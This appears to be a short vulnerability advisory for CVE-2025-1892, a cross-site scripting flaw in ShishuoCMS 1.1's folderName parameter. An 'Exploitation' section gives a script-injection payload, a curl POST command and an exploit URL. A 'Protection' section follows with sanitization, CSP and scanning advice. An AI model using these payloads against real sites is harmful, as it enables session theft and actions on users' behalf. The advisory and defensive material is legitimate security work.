How the CVE Works:
CVE-2025-1892 is a cross-site scripting (XSS) vulnerability found in ShishuoCMS version 1.1. The issue resides in the `/manage/folder/add.json` component, specifically in the `folderName` argument. Attackers can inject malicious scripts into the `folderName` parameter, which is then executed in the context of the victim’s browser when the directory deletion page is accessed. This vulnerability is remotely exploitable, allowing attackers to steal sensitive information, such as session cookies, or perform actions on behalf of the user. The CVSS 4.0 score of 4.8 (Medium) reflects the potential impact, though the attack requires high privileges and user interaction.
DailyCVE Form:
Platform: ShishuoCMS
Version: 1.1
Vulnerability: Cross-Site Scripting (XSS)
Severity: Medium
Date: 03/03/2025
What Undercode Say:
Exploitation:
1. Exploit Code Example:
<script>alert('XSS')</script>
Inject the above script into the `folderName` parameter during directory creation.
2. Exploit Command:
curl -X POST -d "folderName=<script>alert('XSS')</script>" http://target.com/manage/folder/add.json
3. Exploit URL:
http://target.com/manage/folder/add.json?folderName=<script>alert('XSS')</script>
Protection:
1. Input Sanitization:
$folderName = htmlspecialchars($_POST['folderName'], ENT_QUOTES, 'UTF-8');
2. Content Security Policy (CSP):
Add the following HTTP header to mitigate XSS:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
3. Patch URL:
Check the official ShishuoCMS repository for updates:
https://github.com/shishuoCMS/shishuoCMS/releases
4. Monitoring:
Use tools like OWASP ZAP to scan for XSS vulnerabilities:
zap-baseline.py -t http://target.com
5. References:
- CVE-2025-1892 Details
- XSS Prevention Cheat Sheet
By following these steps, you can exploit or protect against CVE-2025-1892 effectively.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-1892
Extra Source Hub:
Undercode
Image Source:
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